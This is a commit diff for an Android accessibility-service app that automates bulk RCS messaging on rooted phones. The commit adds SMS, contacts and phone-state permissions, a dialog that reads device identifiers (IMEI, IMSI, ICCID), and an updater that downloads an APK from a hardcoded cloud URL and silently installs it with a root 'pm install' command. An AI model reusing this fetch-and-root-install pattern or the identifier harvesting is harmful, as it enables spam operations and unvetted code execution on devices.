x1ongzhu 1 gadu atpakaļ
vecāks
revīzija
795ba3ba72

+ 2 - 0
app/build.gradle

@@ -109,4 +109,6 @@ dependencies {
     implementation 'com.android.volley:volley:1.2.1'
     implementation "androidx.swiperefreshlayout:swiperefreshlayout:1.2.0-alpha01"
     implementation 'com.google.android.gms:play-services-code-scanner:16.1.0'
+    implementation("com.github.leandroborgesferreira:loading-button-android:2.3.0")
+
 }

+ 16 - 0
app/src/main/AndroidManifest.xml

@@ -2,10 +2,26 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     xmlns:tools="http://schemas.android.com/tools">
 
+    <uses-feature
+        android:name="android.hardware.telephony"
+        android:required="false" />
+
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
     <uses-permission android:name="android.permission.WAKE_LOCK" />
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+    <uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE" />
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
+    <uses-permission android:name="android.permission.READ_CONTACTS" />
+    <uses-permission android:name="android.permission.WRITE_CONTACTS" />
+    <uses-permission android:name="android.permission.RECEIVE_SMS" />
+    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.RECEIVE_WAP_PUSH" />
+    <uses-permission android:name="android.permission.SEND_SMS" />
+    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.READ_SMS" />
+    <uses-permission android:name="android.permission.WRITE_SMS" />
 
     <application
         android:name=".MyApplication"

+ 0 - 3
app/src/main/java/com/example/modifier/Global.kt

@@ -297,12 +297,9 @@ object Global {
                         "echo ok"
                     )
                     unsuspend(sms = true)
-                    Utils.runAsRoot("am start com.google.android.apps.messaging")
-                    Utils.runAsRoot("input keyevent KEYCODE_BACK")
                     break
                 }
             }
-
         } catch (e: Exception) {
             e.printStackTrace()
         }

+ 20 - 20
app/src/main/java/com/example/modifier/service/ModifierService.kt

@@ -35,6 +35,7 @@ import com.example.modifier.BuildConfig
 import com.example.modifier.CMD_BACK
 import com.example.modifier.CMD_CONVERSATION_LIST_ACTIVITY
 import com.example.modifier.CMD_HOME
+import com.example.modifier.CMD_MESSAGING_APP
 import com.example.modifier.CMD_RCS_SETTINGS_ACTIVITY
 import com.example.modifier.Global
 import com.example.modifier.Global.load
@@ -387,15 +388,7 @@ class ModifierService : AccessibilityService(), Emitter.Listener {
                     fail.add(taskItem.id)
                 }
             }
-
-            Utils.runAsRoot(
-                CMD_BACK, "sleep 1", "screencap -p /sdcard/${
-                    LocalDateTime.now().format(
-                        DateTimeFormatter.ISO_DATE_TIME
-                    )
-                }.png"
-            )
-
+            Utils.runAsRoot(CMD_BACK)
             mSocket.emit(
                 "callback",
                 JSONObject(
@@ -412,6 +405,14 @@ class ModifierService : AccessibilityService(), Emitter.Listener {
                 runBlocking {
                     requestNumber()
                 }
+            } else if (cleanCount in 1..counter) {
+                delay(3000)
+                Global.clearConv();
+                Utils.runAsRoot(CMD_MESSAGING_APP)
+                delay(3000)
+                counter = 0
+            } else {
+                delay(2000)
             }
             running.postValue(false)
         } catch (e: Exception) {
@@ -483,12 +484,6 @@ class ModifierService : AccessibilityService(), Emitter.Listener {
                 "sendCount: $sendCount, Counter: $counter, cleanCount: $cleanCount, requestNumberInterval: $requestNumberInterval"
             )
             delay(1000)
-            if (cleanCount in 1..counter) {
-                delay(2000)
-                counter = 0
-                Global.clearConv();
-                delay(2000)
-            }
             return success
         } catch (e: Exception) {
             e.printStackTrace()
@@ -737,15 +732,15 @@ class ModifierService : AccessibilityService(), Emitter.Listener {
         requesting.postValue(true)
         val result = withTimeoutOrNull(1.hours) {
             while (true) {
-                withContext(Dispatchers.Main) {
-                    binding.tvLog.text = "Waiting for logs..."
-                }
-
                 var rcsRes: RcsNumberResponse? = null
                 rcsConfigureState.postValue(RcsConfigureState.NOT_CONFIGURED)
 
                 withTimeoutOrNull(10.minutes) {
+                    var retry = 0
                     while (true) {
+                        withContext(Dispatchers.Main) {
+                            binding.tvLog.text = "requesting number...${++retry}"
+                        }
                         try {
                             val response = KtorClient.put(
                                 RcsNumberApi()
@@ -768,10 +763,14 @@ class ModifierService : AccessibilityService(), Emitter.Listener {
                     }
                 }
                 if (rcsRes == null) {
-                    Log.e(TAG, "requestNumber fail, retrying...")
+                    Log.e(TAG, "requesting success, waiting for logs...")
                     continue
                 }
 
+                withContext(Dispatchers.Main) {
+                    binding.tvLog.text = ""
+                }
+
                 Global.save(
                     TelephonyConfig(
                         rcsRes!!.number,
@@ -928,6 +927,7 @@ class ModifierService : AccessibilityService(), Emitter.Listener {
             counter = 0
             Log.i(TAG, "requestNumber success")
         } else {
+            canSend = false
             Log.e(TAG, "requestNumber failed")
         }
         Utils.runAsRoot(CMD_BACK)

+ 96 - 14
app/src/main/java/com/example/modifier/ui/settings/SettingsFragment.kt

@@ -1,21 +1,25 @@
 package com.example.modifier.ui.settings
 
+import android.Manifest
 import android.annotation.SuppressLint
 import android.content.Context
 import android.content.DialogInterface
-import android.content.Intent
+import android.content.pm.PackageManager
 import android.os.Bundle
 import android.os.Handler
 import android.os.Looper
+import android.telephony.SubscriptionManager
+import android.telephony.TelephonyManager
 import android.text.Editable
 import android.util.Log
 import android.view.LayoutInflater
 import android.view.View
 import android.view.ViewGroup
 import android.widget.Toast
-import androidx.datastore.core.DataStore
-import androidx.datastore.preferences.core.Preferences
-import androidx.datastore.preferences.preferencesDataStore
+import androidx.activity.result.ActivityResultLauncher
+import androidx.activity.result.contract.ActivityResultContracts
+import androidx.core.app.ActivityCompat
+import androidx.core.content.ContextCompat
 import androidx.fragment.app.Fragment
 import androidx.lifecycle.lifecycleScope
 import com.example.modifier.Global
@@ -23,8 +27,6 @@ import com.example.modifier.Global.load
 import com.example.modifier.Global.save
 import com.example.modifier.Global.saveServer
 import com.example.modifier.Global.servers
-import com.example.modifier.MainActivity
-import com.example.modifier.service.ModifierService.Companion.instance
 import com.example.modifier.R
 import com.example.modifier.Utils
 import com.example.modifier.databinding.FragmentSettingsBinding
@@ -36,12 +38,11 @@ import com.example.modifier.http.response.GetChannelListResponse
 import com.example.modifier.http.response.RcsNumberResponse
 import com.example.modifier.model.Channel
 import com.example.modifier.model.TelephonyConfig
+import com.example.modifier.service.ModifierService.Companion.instance
 import com.google.android.material.dialog.MaterialAlertDialogBuilder
 import io.ktor.client.call.body
-import io.ktor.client.plugins.resources.get
-import io.ktor.client.plugins.resources.put
 import io.ktor.client.plugins.resources.post
-import io.ktor.client.request.post
+import io.ktor.client.plugins.resources.put
 import io.ktor.client.request.setBody
 import io.ktor.client.statement.HttpResponse
 import io.ktor.client.statement.bodyAsText
@@ -49,19 +50,16 @@ import io.ktor.http.ContentType
 import io.ktor.http.contentType
 import kotlinx.coroutines.CoroutineScope
 import kotlinx.coroutines.Dispatchers
-import kotlinx.coroutines.delay
 import kotlinx.coroutines.launch
 import kotlinx.coroutines.withContext
-import kotlinx.coroutines.withTimeout
 import org.apache.commons.lang3.RandomStringUtils
 import org.apache.commons.lang3.StringUtils
 import org.apache.commons.validator.routines.UrlValidator
-import java.time.LocalDateTime
-import java.time.temporal.ChronoUnit
 import java.util.Objects
 import java.util.Optional
 import java.util.concurrent.ScheduledThreadPoolExecutor
 
+@SuppressLint("SetTextI18n", "MissingPermission", "HardwareIds", "NewApi")
 class SettingsFragment : Fragment() {
     private val TAG = "SettingsFragment"
 
@@ -72,11 +70,29 @@ class SettingsFragment : Fragment() {
     var channels: List<Channel> = emptyList()
     var channelId: Int? = null
 
+    lateinit var requestPermissionLauncher: ActivityResultLauncher<String>
+
     init {
         Log.i("SettingsFragment", "SettingsFragment")
     }
 
-    @SuppressLint("SetTextI18n")
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+        requestPermissionLauncher =
+            registerForActivityResult(
+                ActivityResultContracts.RequestPermission()
+            ) { isGranted: Boolean ->
+                if (isGranted) {
+                } else {
+                    // Explain to the user that the feature is unavailable because the
+                    // feature requires a permission that the user has denied. At the
+                    // same time, respect the user's decision. Don't link to system
+                    // settings in an effort to convince the user to change their
+                    // decision.
+                }
+            }
+    }
+
     override fun onCreateView(
         inflater: LayoutInflater, container: ViewGroup?,
         savedInstanceState: Bundle?
@@ -207,6 +223,72 @@ class SettingsFragment : Fragment() {
             prefs.edit().putBoolean("do_not_request", isChecked).apply()
         }
 
+        binding.btnCheck.setOnClickListener {
+
+            when {
+                ContextCompat.checkSelfPermission(
+                    requireContext(),
+                    Manifest.permission.READ_PHONE_STATE
+                ) == PackageManager.PERMISSION_GRANTED -> {
+                    val telephonyManager =
+                        requireContext().getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager
+
+                    var res = """IMEI: ${telephonyManager.imei}
+                    |IMSI: ${telephonyManager.subscriberId}
+                    |ICCID: ${telephonyManager.simSerialNumber}
+                    |Phone Number: ${telephonyManager.line1Number}
+                    |Network Operator: ${telephonyManager.networkOperator}, ${telephonyManager.networkCountryIso}, ${telephonyManager.networkOperatorName}
+                    |Sim Operator: ${telephonyManager.simOperator}, ${telephonyManager.simCountryIso}, ${telephonyManager.simOperatorName}
+                    |Sim state: ${telephonyManager.simState}
+                    |
+                    """.trimMargin()
+                    val subscriptionManager: SubscriptionManager =
+                        requireContext().getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE) as SubscriptionManager
+
+                    val simCount = subscriptionManager.activeSubscriptionInfoCountMax
+                    for (i in 0 until simCount) {
+                        val info =
+                            subscriptionManager.getActiveSubscriptionInfoForSimSlotIndex(i)
+                                ?: continue
+                        res += """
+                        |--- Slot:$i Subscription ID: ${info.subscriptionId} ---
+                        |ICCID: ${info.iccId}
+                        |Number: ${subscriptionManager.getPhoneNumber(info.subscriptionId)}
+                        |Country: ${info.countryIso}
+                        |MCC: ${info.mccString}
+                        |MNC: ${info.mncString}
+                        """.trimMargin()
+                    }
+                    MaterialAlertDialogBuilder(requireContext())
+                        .setTitle("Info")
+                        .setMessage(res)
+                        .setPositiveButton("OK") { dialog: DialogInterface, which: Int ->
+                            dialog.dismiss()
+                        }
+                        .show()
+                }
+
+                ActivityCompat.shouldShowRequestPermissionRationale(
+                    requireActivity(), Manifest.permission.READ_PHONE_STATE
+                ) -> {
+                    // In an educational UI, explain to the user why your app requires this
+                    // permission for a specific feature to behave as expected, and what
+                    // features are disabled if it's declined. In this UI, include a
+                    // "cancel" or "no thanks" button that lets the user continue
+                    // using your app without granting the permission.
+                }
+
+                else -> {
+                    // You can directly ask for the permission.
+                    // The registered ActivityResultCallback gets the result of this request.
+                    requestPermissionLauncher.launch(
+                        Manifest.permission.READ_PHONE_STATE
+                    )
+                }
+            }
+
+        }
+
         executor.execute {
             load()
             handler.post {

+ 109 - 1
app/src/main/java/com/example/modifier/ui/utils/UtilsFragment.kt

@@ -3,10 +3,12 @@ package com.example.modifier.ui.utils
 import android.os.Bundle
 import android.os.Handler
 import android.os.Looper
+import android.util.Log
 import android.view.LayoutInflater
 import android.view.View
 import android.view.ViewGroup
 import android.widget.Toast
+import androidx.appcompat.app.AlertDialog
 import androidx.fragment.app.Fragment
 import com.example.modifier.CMD_BACK_APP
 import com.example.modifier.Frida
@@ -18,14 +20,33 @@ import com.example.modifier.Global.suspend
 import com.example.modifier.Global.unsuspend
 import com.example.modifier.R
 import com.example.modifier.Utils
+import com.example.modifier.databinding.DialogUpdateBinding
 import com.example.modifier.databinding.FragmentUtilsBinding
+import com.example.modifier.http.KtorClient
+import com.example.modifier.http.api.SysConfigApi
+import com.example.modifier.http.response.SysConfigResponse
 import com.example.modifier.service.ModifierService
 import com.google.android.material.dialog.MaterialAlertDialogBuilder
+import com.google.android.material.dialog.MaterialDialogs
+import com.google.android.material.progressindicator.CircularProgressIndicatorSpec
+import com.google.android.material.progressindicator.DeterminateDrawable
+import com.google.android.material.progressindicator.IndeterminateDrawable
+import io.ktor.client.call.body
+import io.ktor.client.plugins.onDownload
+import io.ktor.client.plugins.resources.get
+import io.ktor.client.request.get
+import io.ktor.client.request.prepareGet
+import io.ktor.http.contentLength
+import io.ktor.utils.io.ByteReadChannel
+import io.ktor.utils.io.core.isEmpty
+import io.ktor.utils.io.core.readBytes
 import kotlinx.coroutines.CoroutineScope
 import kotlinx.coroutines.Dispatchers
+import kotlinx.coroutines.Job
 import kotlinx.coroutines.delay
 import kotlinx.coroutines.launch
 import kotlinx.coroutines.withContext
+import java.io.File
 import java.util.concurrent.ExecutorService
 import java.util.concurrent.Executors
 
@@ -173,6 +194,30 @@ class UtilsFragment : Fragment() {
             Toast.makeText(context, "Frida stopped", Toast.LENGTH_SHORT).show()
         }
 
+        binding.btnUpdateModifier.setOnClickListener {
+            CoroutineScope(Dispatchers.IO).launch {
+                try {
+                    val config = KtorClient.get(SysConfigApi.Id(SysConfigApi(), "modifier_apk"))
+                        .body<SysConfigResponse>()
+                    installApk(config.value)
+                } catch (e: Exception) {
+                    Log.e("Modifier", "Failed to get message apk", e)
+                }
+            }
+        }
+
+        binding.btnUpdateMessage.setOnClickListener {
+            CoroutineScope(Dispatchers.IO).launch {
+                try {
+                    val config = KtorClient.get(SysConfigApi.Id(SysConfigApi(), "message_apk"))
+                        .body<SysConfigResponse>()
+                    installApk(config.value)
+                } catch (e: Exception) {
+                    Log.e("Modifier", "Failed to get message apk", e)
+                }
+            }
+        }
+
         return binding.root
     }
 
@@ -201,7 +246,6 @@ class UtilsFragment : Fragment() {
         }
     }
 
-
     private fun onStopClick() {
         binding.btnStop.isEnabled = false
         Utils.makeLoadingButton(context, binding.btnStop)
@@ -222,4 +266,68 @@ class UtilsFragment : Fragment() {
             }
         }
     }
+
+    private suspend fun installApk(url: String) {
+        if (url.isEmpty()) {
+            Toast.makeText(context, "URL is empty", Toast.LENGTH_SHORT).show()
+            return
+        }
+        if (!url.endsWith(".apk")) {
+            Toast.makeText(context, "URL is not an APK", Toast.LENGTH_SHORT).show()
+            return
+        }
+        if (!url.startsWith("http")) {
+            Toast.makeText(context, "URL is not valid", Toast.LENGTH_SHORT).show()
+            return
+        }
+        var job: Job? = null
+        lateinit var dialogBinding: DialogUpdateBinding
+        lateinit var dialog: AlertDialog
+        withContext(Dispatchers.Main) {
+            dialogBinding = DialogUpdateBinding.inflate(layoutInflater)
+            dialog = MaterialAlertDialogBuilder(requireContext())
+                .setTitle("Installing...")
+                .setView(dialogBinding.root)
+                .setCancelable(false)
+                .setNegativeButton("Cancel") { _, _ ->
+                    job?.cancel()
+                }
+                .create()
+            dialog.show()
+        }
+
+        job = CoroutineScope(Dispatchers.IO).launch {
+            try {
+                val file = File.createTempFile("files", ".apk")
+
+                KtorClient.prepareGet("https://nebuai.oss-cn-hangzhou.aliyuncs.com/application/20240701/bgpj4axa.apk")
+                    .execute { httpResponse ->
+                        val channel: ByteReadChannel = httpResponse.body()
+                        while (!channel.isClosedForRead) {
+                            val packet = channel.readRemaining(DEFAULT_BUFFER_SIZE.toLong())
+                            while (!packet.isEmpty) {
+                                val bytes = packet.readBytes()
+                                file.appendBytes(bytes)
+                                withContext(
+                                    Dispatchers.Main
+                                ) {
+                                    dialogBinding.progressBar.isIndeterminate = false
+                                    dialogBinding.progressBar.progress =
+                                        (file.length() * 100 / httpResponse.contentLength()!!).toInt()
+                                }
+                            }
+                        }
+                    }
+                Log.i("Modifier", "A file saved to ${file.path}")
+                Utils.runAsRoot("pm install -d -r ${file.path}")
+            } catch (e: Exception) {
+                Log.e("Modifier", "Failed to download apk", e)
+
+            }
+
+            withContext(Dispatchers.Main) {
+                dialog.dismiss()
+            }
+        }
+    }
 }

+ 20 - 0
app/src/main/res/layout/dialog_update.xml

@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<layout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools">
+
+    <androidx.constraintlayout.widget.ConstraintLayout
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+
+        <com.google.android.material.progressindicator.LinearProgressIndicator
+            android:id="@+id/progressBar"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_marginHorizontal="16dp"
+            android:layout_marginTop="16dp"
+            android:indeterminate="true"
+            app:layout_constraintBottom_toBottomOf="parent"
+            app:layout_constraintTop_toTopOf="parent" />
+    </androidx.constraintlayout.widget.ConstraintLayout>
+</layout>

+ 14 - 0
app/src/main/res/layout/fragment_settings.xml

@@ -257,6 +257,20 @@
                                 android:visibility="visible" />
                         </LinearLayout>
 
+                        <LinearLayout
+                            android:layout_width="match_parent"
+                            android:layout_height="wrap_content"
+                            android:layout_marginTop="8dp"
+                            android:gravity="center"
+                            android:orientation="horizontal">
+
+                            <com.google.android.material.button.MaterialButton
+                                android:id="@+id/btn_check"
+                                android:layout_width="120dp"
+                                android:layout_height="wrap_content"
+                                android:text="Check"
+                                android:visibility="visible" />
+                        </LinearLayout>
                     </LinearLayout>
                 </com.google.android.material.card.MaterialCardView>
 

+ 66 - 0
app/src/main/res/layout/fragment_utils.xml

@@ -227,6 +227,72 @@
                         </LinearLayout>
                     </LinearLayout>
                 </com.google.android.material.card.MaterialCardView>
+
+                <com.google.android.material.card.MaterialCardView
+                    style="@style/Widget.Material3.CardView.Filled"
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:layout_marginTop="16dp"
+                    app:cardBackgroundColor="?attr/colorSurfaceContainer">
+
+                    <LinearLayout
+                        android:layout_width="match_parent"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:padding="16dp">
+
+                        <TextView
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:layout_marginBottom="16dp"
+                            android:text="Update"
+                            android:textColor="?attr/colorPrimary"
+                            android:textSize="14sp"
+                            android:textStyle="bold" />
+
+                        <LinearLayout
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:orientation="horizontal">
+
+                            <com.google.android.material.button.MaterialButton
+                                android:id="@+id/btn_update_modifier"
+                                android:layout_width="wrap_content"
+                                android:layout_height="wrap_content"
+                                android:text="Modifier" />
+
+                            <com.google.android.material.button.MaterialButton
+                                android:id="@+id/btn_update_message"
+                                android:layout_width="wrap_content"
+                                android:layout_height="wrap_content"
+                                android:layout_marginLeft="8dp"
+                                android:text="Message" />
+                        </LinearLayout>
+
+                        <com.google.android.material.textfield.TextInputLayout
+                            android:layout_width="match_parent"
+                            android:layout_height="wrap_content"
+                            android:layout_marginTop="16dp"
+                            android:hint="APK URL">
+
+                            <com.google.android.material.textfield.TextInputEditText
+                                android:id="@+id/et_apk_url"
+                                android:layout_width="match_parent"
+                                android:layout_height="wrap_content"
+                                android:layout_gravity="center"
+                                android:inputType="number"
+                                android:lines="1" />
+                        </com.google.android.material.textfield.TextInputLayout>
+
+                        <com.google.android.material.button.MaterialButton
+                            android:id="@+id/btn_install"
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:layout_gravity="center"
+                            android:layout_marginTop="8dp"
+                            android:text="Download &amp; Install" />
+                    </LinearLayout>
+                </com.google.android.material.card.MaterialCardView>
             </LinearLayout>
         </ScrollView>